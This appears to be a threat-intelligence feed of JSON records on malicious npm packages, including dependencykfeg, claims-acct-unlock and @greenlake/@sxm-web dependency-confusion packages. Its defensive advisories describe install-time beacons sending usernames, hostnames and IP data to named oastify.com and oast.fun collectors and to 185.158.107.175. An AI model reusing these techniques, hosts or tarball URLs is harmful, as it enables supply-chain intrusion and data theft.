{"classification": "tp", "details": "claims-acct-unlock 25.2.1 contains only a package.json: its declared entry point index.js is not shipped, so the package cannot be used as a library, and it declares a single dependency, aliased node-acct-utilssss21, that is not fetched from the npm registry but from a tarball URL on GitHub (https://github.com/GamerD11/ping_test/raw/refs/heads/main/node-acct-utils-1.0.0.tgz). The code that runs at install time is therefore not part of the published package, and the publisher has already replaced it once. The tarball runs `node index.js` as a preinstall script and silently ignores errors. The version served when 25.1.9 was published (sha256 2707f1c7c853cd703495678ade5e3819a98620f5f6b6ca247b962d727b3ff84a) downloads the collector host name from https://raw.githubusercontent.com/GamerD11/ping_test/main/burp_collaborator.txt (at the time of writing 378jcbb9w8ce23y2enf0lhbkqbw2k58u.oastify.com) and does nothing if that file is empty; otherwise it runs `whoami` and `hostname`, queries https://ipinfo.io/json for the machine's public IP address, network operator and ASN, and sends those together with the home directory, working directory, platform, architecture and Node.js version in an HTTPS POST to that host with certificate verification disabled. The tarball's own entry point is the same script, so requiring the dependency repeats the beacon. An earlier version of the tarball (sha256 af59a1f75fb309422693a656404504c4ab7c25d31a70bf0c36cf2454dea35f43) sent the same host details without the IP lookup in an HTTP POST to http://yrtew6v4g3w9myixyizv5cvfa6gx4zso.oastify.com/. Impact: any developer or CI machine that installs the package discloses its identity, filesystem layout and public network location to a third party, and the publisher can replace the install-time code with a harmful payload at any moment without publishing a new npm version. Remediation: remove the package, install with --ignore-scripts where possible, reject dependencies resolved from URLs outside the registry, and block oastify.com on build hosts. The same publisher ships the same dependency in dependencykfeg 25.0.3, 25.1.3, 25.1.9 and 25.2.1.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18404"], "package": "claims-acct-unlock", "public_id": "PROTET-NPM-2026-134", "published_at": "2026-10-30T14:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Package pulls a GitHub-hosted dependency whose install script sends user, host and public IP data to an oastify.com host", "updated_at": "2026-10-30T14:59:01Z", "url": "https://protet.io/intel/npm/claims-acct-unlock/25.2.1", "version": "25.2.1"}
{"classification": "tp", "details": "dependencykfeg 25.2.1 contains only a package.json: its declared entry point index.js is not shipped, so the package cannot be used as a library. It declares two dependencies: itself (`dependencykfeg` ^25.1.3, which pulls in earlier versions of the same campaign where npm does not deduplicate it) and a package aliased node-acct-utilssss21 that is not fetched from the npm registry but from a tarball URL on GitHub (https://github.com/GamerD11/ping_test/raw/refs/heads/main/node-acct-utils-1.0.0.tgz). The code that runs at install time is therefore not part of the published package, and the publisher has already replaced it once. The tarball runs `node index.js` as a preinstall script and silently ignores errors. The version served when 25.1.9 was published (sha256 2707f1c7c853cd703495678ade5e3819a98620f5f6b6ca247b962d727b3ff84a) downloads the collector host name from https://raw.githubusercontent.com/GamerD11/ping_test/main/burp_collaborator.txt (at the time of writing 378jcbb9w8ce23y2enf0lhbkqbw2k58u.oastify.com) and does nothing if that file is empty; otherwise it runs `whoami` and `hostname`, queries https://ipinfo.io/json for the machine's public IP address, network operator and ASN, and sends those together with the home directory, working directory, platform, architecture and Node.js version in an HTTPS POST to that host with certificate verification disabled. The tarball's own entry point is the same script, so requiring the dependency repeats the beacon. An earlier version of the tarball (sha256 af59a1f75fb309422693a656404504c4ab7c25d31a70bf0c36cf2454dea35f43) sent the same host details without the IP lookup in an HTTP POST to http://yrtew6v4g3w9myixyizv5cvfa6gx4zso.oastify.com/. Impact: any developer or CI machine that installs the package discloses its identity, filesystem layout and public network location to a third party, and the publisher can replace the install-time code with a harmful payload at any moment without publishing a new npm version. Remediation: remove the package, install with --ignore-scripts where possible, reject dependencies resolved from URLs outside the registry, and block oastify.com on build hosts. Versions 25.0.3, 25.1.3 and 25.1.9 of the same package belong to the same campaign.", "ecosystem": "npm", "osv_aliases": [], "package": "dependencykfeg", "public_id": "PROTET-NPM-2026-133", "published_at": "2026-10-30T14:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Package pulls a GitHub-hosted dependency whose install script sends user, host and public IP data to an oastify.com host", "updated_at": "2026-10-30T14:59:01Z", "url": "https://protet.io/intel/npm/dependencykfeg/25.2.1", "version": "25.2.1"}
{"classification": "tp", "details": "dependencykfeg 25.1.9 contains only a package.json: its declared entry point index.js is not shipped, so the package cannot be used as a library, and it declares a single dependency, aliased node-acct-utilssss21, that is not fetched from the npm registry but from a tarball URL on GitHub (https://github.com/GamerD11/ping_test/raw/refs/heads/main/node-acct-utils-1.0.0.tgz). The code that runs at install time is therefore not part of the published package, and the publisher has already replaced it once. The tarball runs `node index.js` as a preinstall script and silently ignores errors. The version served when 25.1.9 was published (sha256 2707f1c7c853cd703495678ade5e3819a98620f5f6b6ca247b962d727b3ff84a) downloads the collector host name from https://raw.githubusercontent.com/GamerD11/ping_test/main/burp_collaborator.txt (at the time of writing 378jcbb9w8ce23y2enf0lhbkqbw2k58u.oastify.com) and does nothing if that file is empty; otherwise it runs `whoami` and `hostname`, queries https://ipinfo.io/json for the machine's public IP address, network operator and ASN, and sends those together with the home directory, working directory, platform, architecture and Node.js version in an HTTPS POST to that host with certificate verification disabled. The tarball's own entry point is the same script, so requiring the dependency repeats the beacon. An earlier version of the tarball (sha256 af59a1f75fb309422693a656404504c4ab7c25d31a70bf0c36cf2454dea35f43) sent the same host details without the IP lookup in an HTTP POST to http://yrtew6v4g3w9myixyizv5cvfa6gx4zso.oastify.com/. Impact: any developer or CI machine that installs the package discloses its identity, filesystem layout and public network location to a third party, and the publisher can replace the install-time code with a harmful payload at any moment without publishing a new npm version. Remediation: remove the package, install with --ignore-scripts where possible, reject dependencies resolved from URLs outside the registry, and block oastify.com on build hosts. Versions 25.0.3 and 25.1.3 of the same package belong to the same campaign.", "ecosystem": "npm", "osv_aliases": [], "package": "dependencykfeg", "public_id": "PROTET-NPM-2026-132", "published_at": "2026-10-29T22:29:01Z", "schema_version": "1.0", "status": "active", "summary": "Package pulls a GitHub-hosted dependency whose install script sends user, host and public IP data to an oastify.com host", "updated_at": "2026-10-29T22:39:02Z", "url": "https://protet.io/intel/npm/dependencykfeg/25.1.9", "version": "25.1.9"}
{"classification": "tp", "details": "dependencykfeg 25.1.3 has no functionality of its own: its entry point exports an empty object and its package.json declares a single dependency, aliased node-acct-utilssss21, that is not fetched from the npm registry but from a tarball URL on GitHub (https://github.com/GamerD11/ping_test/raw/refs/heads/main/node-acct-utils-1.0.0.tgz), hosted in the repository GamerD11/ping_test. The code that runs at install time is therefore not part of the published package, and the publisher has already replaced it once. The tarball runs `node index.js` as a preinstall script and silently ignores errors; the tarball's own entry point is the same script, so requiring the dependency repeats the beacon. The first version of the tarball (sha256 af59a1f75fb309422693a656404504c4ab7c25d31a70bf0c36cf2454dea35f43, served until 2026-10-29 22:01 UTC) is lightly obfuscated; it runs `whoami` and `hostname`, reads the working directory, home directory, platform, CPU architecture and Node.js version, and sends them as JSON in an HTTP POST to http://yrtew6v4g3w9myixyizv5cvfa6gx4zso.oastify.com/. The current version (sha256 2707f1c7c853cd703495678ade5e3819a98620f5f6b6ca247b962d727b3ff84a) downloads the collector host name from https://raw.githubusercontent.com/GamerD11/ping_test/main/burp_collaborator.txt (at the time of writing 378jcbb9w8ce23y2enf0lhbkqbw2k58u.oastify.com) and does nothing if that file is empty; otherwise it runs `whoami` and `hostname`, queries https://ipinfo.io/json for the machine's public IP address, network operator and ASN, and sends those together with the home directory, working directory, platform, architecture and Node.js version in an HTTPS POST to that host with certificate verification disabled. Impact: any developer or CI machine that installs the package discloses its identity, filesystem layout and public network location to a third party, and the publisher can replace the install-time code with a harmful payload at any moment without publishing a new npm version. Remediation: remove the package, install with --ignore-scripts where possible, reject dependencies resolved from URLs outside the registry, and block oastify.com on build hosts. Versions 25.0.3 and 25.1.9 of the same package belong to the same campaign.", "ecosystem": "npm", "osv_aliases": [], "package": "dependencykfeg", "public_id": "PROTET-NPM-2026-131", "published_at": "2026-10-29T22:19:02Z", "schema_version": "1.0", "status": "active", "summary": "Package pulls a GitHub-hosted dependency whose install script sends user, host and public IP data to an oastify.com host", "updated_at": "2026-10-29T22:39:02Z", "url": "https://protet.io/intel/npm/dependencykfeg/25.1.3", "version": "25.1.3"}
{"classification": "tp", "details": "dependencykfeg 25.0.3 has no functionality of its own: its entry point exports an empty object and its package.json declares a single dependency, node-acct-utils, that is not fetched from the npm registry but from a tarball URL on GitHub (https://github.com/GamerD11/ping_test/raw/refs/heads/main/node-acct-utils-1.0.0.tgz), hosted in the repository GamerD11/ping_test. The code that runs at install time is therefore not part of the published package, and the publisher has already replaced it once. The tarball runs `node index.js` as a preinstall script and silently ignores errors; the tarball's own entry point is the same script, so requiring the dependency repeats the beacon. The first version of the tarball (sha256 af59a1f75fb309422693a656404504c4ab7c25d31a70bf0c36cf2454dea35f43, served until 2026-10-29 22:01 UTC) is lightly obfuscated; it runs `whoami` and `hostname`, reads the working directory, home directory, platform, CPU architecture and Node.js version, and sends them as JSON in an HTTP POST to http://yrtew6v4g3w9myixyizv5cvfa6gx4zso.oastify.com/. The current version (sha256 2707f1c7c853cd703495678ade5e3819a98620f5f6b6ca247b962d727b3ff84a) downloads the collector host name from https://raw.githubusercontent.com/GamerD11/ping_test/main/burp_collaborator.txt (at the time of writing 378jcbb9w8ce23y2enf0lhbkqbw2k58u.oastify.com) and does nothing if that file is empty; otherwise it runs `whoami` and `hostname`, queries https://ipinfo.io/json for the machine's public IP address, network operator and ASN, and sends those together with the home directory, working directory, platform, architecture and Node.js version in an HTTPS POST to that host with certificate verification disabled. Impact: any developer or CI machine that installs the package discloses its identity, filesystem layout and public network location to a third party, and the publisher can replace the install-time code with a harmful payload at any moment without publishing a new npm version. Remediation: remove the package, install with --ignore-scripts where possible, reject dependencies resolved from URLs outside the registry, and block oastify.com on build hosts. Versions 25.1.3 and 25.1.9 of the same package belong to the same campaign.", "ecosystem": "npm", "osv_aliases": [], "package": "dependencykfeg", "public_id": "PROTET-NPM-2026-130", "published_at": "2026-10-29T21:59:02Z", "schema_version": "1.0", "status": "active", "summary": "Package pulls a GitHub-hosted dependency whose install script sends user, host and public IP data to an oastify.com host", "updated_at": "2026-10-29T22:39:02Z", "url": "https://protet.io/intel/npm/dependencykfeg/25.0.3", "version": "25.0.3"}
{"classification": "tp", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18368"], "package": "spectral-net-probe", "public_id": "PROTET-NPM-2026-129", "published_at": "2026-10-28T07:09:02Z", "schema_version": "1.0", "status": "active", "updated_at": "2026-10-29T13:29:02Z", "url": "https://protet.io/intel/npm/spectral-net-probe/1.0.4", "version": "1.0.4"}
{"classification": "tp", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18368"], "package": "spectral-net-probe", "public_id": "PROTET-NPM-2026-128", "published_at": "2026-10-28T07:09:02Z", "schema_version": "1.0", "status": "active", "updated_at": "2026-10-29T13:29:02Z", "url": "https://protet.io/intel/npm/spectral-net-probe/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "@azure-growth/signup-ux-components 1.2.2, 1.2.3 and 2.9.9 are dependency-confusion packages that take the name of a package used internally by Microsoft's Azure signup site and not published on the npm registry; 2.9.9 carries a version number above the internal release, so resolvers that also check the public registry prefer it. Their `preinstall` script runs `node index.js`, which reads the OS username and hostname and sends them in a DNS lookup of `msrc-poc.<user>.<hostname>.dbg6vplohjpkmtolbi6g18ekofkxjzm4s.oast.fun`, an out-of-band interaction collector; `index.js` is also the package entry point, so the lookup repeats whenever the package is required. Any machine that installed one of these versions has disclosed its username and hostname to a third party. The earlier `0.0.0-stage` version is an inert placeholder and is not affected.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18338"], "package": "@azure-growth/signup-ux-components", "public_id": "PROTET-NPM-2026-124", "published_at": "2026-10-27T12:19:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends the username and hostname via DNS to an oast.fun collector", "updated_at": "2026-10-28T12:29:02Z", "url": "https://protet.io/intel/npm/@azure-growth/signup-ux-components/2.9.9", "version": "2.9.9"}
{"classification": "tp", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18356"], "package": "@webapp-shared/login-vmok", "public_id": "PROTET-NPM-2026-127", "published_at": "2026-10-27T17:39:02Z", "schema_version": "1.0", "status": "active", "updated_at": "2026-10-28T11:59:02Z", "url": "https://protet.io/intel/npm/@webapp-shared/login-vmok/99.0.1", "version": "99.0.1"}
{"classification": "tp", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18356"], "package": "@webapp-shared/login-vmok", "public_id": "PROTET-NPM-2026-126", "published_at": "2026-10-27T17:39:02Z", "schema_version": "1.0", "status": "active", "updated_at": "2026-10-28T11:59:02Z", "url": "https://protet.io/intel/npm/@webapp-shared/login-vmok/1.1.0", "version": "1.1.0"}
{"classification": "tp", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18356"], "package": "@webapp-shared/login-vmok", "public_id": "PROTET-NPM-2026-125", "published_at": "2026-10-27T17:39:02Z", "schema_version": "1.0", "status": "active", "updated_at": "2026-10-28T11:59:02Z", "url": "https://protet.io/intel/npm/@webapp-shared/login-vmok/1.0.0", "version": "1.0.0"}
{"classification": "tp", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18338"], "package": "@azure-growth/signup-ux-components", "public_id": "PROTET-NPM-2026-123", "published_at": "2026-10-27T11:19:02Z", "schema_version": "1.0", "status": "active", "updated_at": "2026-10-27T17:19:02Z", "url": "https://protet.io/intel/npm/@azure-growth/signup-ux-components/1.2.3", "version": "1.2.3"}
{"classification": "tp", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18338"], "package": "@azure-growth/signup-ux-components", "public_id": "PROTET-NPM-2026-122", "published_at": "2026-10-27T11:19:02Z", "schema_version": "1.0", "status": "active", "updated_at": "2026-10-27T17:19:02Z", "url": "https://protet.io/intel/npm/@azure-growth/signup-ux-components/1.2.2", "version": "1.2.2"}
{"classification": "tp", "details": "@sxm-web/client-sdk-core is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18319"], "package": "@sxm-web/client-sdk-core", "public_id": "PROTET-NPM-2026-87", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@sxm-web/client-sdk-core/13.3.7", "version": "13.3.7"}
{"classification": "tp", "details": "@sxm-web/client-sdk-core is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18319"], "package": "@sxm-web/client-sdk-core", "public_id": "PROTET-NPM-2026-86", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@sxm-web/client-sdk-core/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@sxm-web/client-sdk-core is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18319"], "package": "@sxm-web/client-sdk-core", "public_id": "PROTET-NPM-2026-85", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@sxm-web/client-sdk-core/1.1.0", "version": "1.1.0"}
{"classification": "tp", "details": "@sxm-web/client-sdk-core is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18319"], "package": "@sxm-web/client-sdk-core", "public_id": "PROTET-NPM-2026-84", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@sxm-web/client-sdk-core/1.0.1", "version": "1.0.1"}
{"classification": "tp", "details": "@sxm-web/client-sdk-core is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18319"], "package": "@sxm-web/client-sdk-core", "public_id": "PROTET-NPM-2026-83", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@sxm-web/client-sdk-core/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "@sxm-web/client-sdk-core is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18319"], "package": "@sxm-web/client-sdk-core", "public_id": "PROTET-NPM-2026-82", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@sxm-web/client-sdk-core/0.0.1", "version": "0.0.1"}
{"classification": "tp", "details": "@greenlake/session is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18283"], "package": "@greenlake/session", "public_id": "PROTET-NPM-2026-81", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@greenlake/session/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@greenlake/session is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18283"], "package": "@greenlake/session", "public_id": "PROTET-NPM-2026-80", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@greenlake/session/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "@greenlake/mfe-login-url is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18318"], "package": "@greenlake/mfe-login-url", "public_id": "PROTET-NPM-2026-79", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@greenlake/mfe-login-url/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@greenlake/mfe-login-url is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18318"], "package": "@greenlake/mfe-login-url", "public_id": "PROTET-NPM-2026-78", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@greenlake/mfe-login-url/2.0.0", "version": "2.0.0"}
{"classification": "tp", "details": "@greenlake/mfe-login-url is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18318"], "package": "@greenlake/mfe-login-url", "public_id": "PROTET-NPM-2026-77", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@greenlake/mfe-login-url/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "@greenlake/context-pane is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18317"], "package": "@greenlake/context-pane", "public_id": "PROTET-NPM-2026-76", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@greenlake/context-pane/1.0.0", "version": "1.0.0"}
{"classification": "tp", "details": "@greenlake/common-context is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18282"], "package": "@greenlake/common-context", "public_id": "PROTET-NPM-2026-74", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@greenlake/common-context/3.0.0", "version": "3.0.0"}
{"classification": "tp", "details": "@greenlake/auth is published under a name that matches a private internal package scope, at an artificially high or unusual version, so that build systems resolving the internal name from the public registry install it instead. Its package.json runs `node beacon.cjs` as a postinstall script. The script sends an HTTP POST to http://185.158.107.175:8787/_ah/dc with the package name, the machine's hostname, the install directory, the current working directory and the Node.js version, tagged with an x-beacon-package header. The package's entry point sends the same request again whenever it is loaded, and otherwise exports an empty stub, so the package has no legitimate functionality. Impact: any developer or CI machine that installs it discloses its hostname and filesystem layout to a third party, and confirms that the internal package name resolves from the public registry, which enables follow-up attacks with a harmful payload. Remediation: remove the package, scope internal package names to a private registry (or pin the scope to it), install with --ignore-scripts where possible, and block 185.158.107.175 on build hosts.", "ecosystem": "npm", "osv_aliases": ["MAL-2026-18316"], "package": "@greenlake/auth", "public_id": "PROTET-NPM-2026-73", "published_at": "2026-10-24T06:59:01Z", "schema_version": "1.0", "status": "active", "summary": "Dependency-confusion package sends host and install details to a remote server at install time", "updated_at": "2026-10-26T06:59:10Z", "url": "https://protet.io/intel/npm/@greenlake/auth/3.0.0", "version": "3.0.0"}
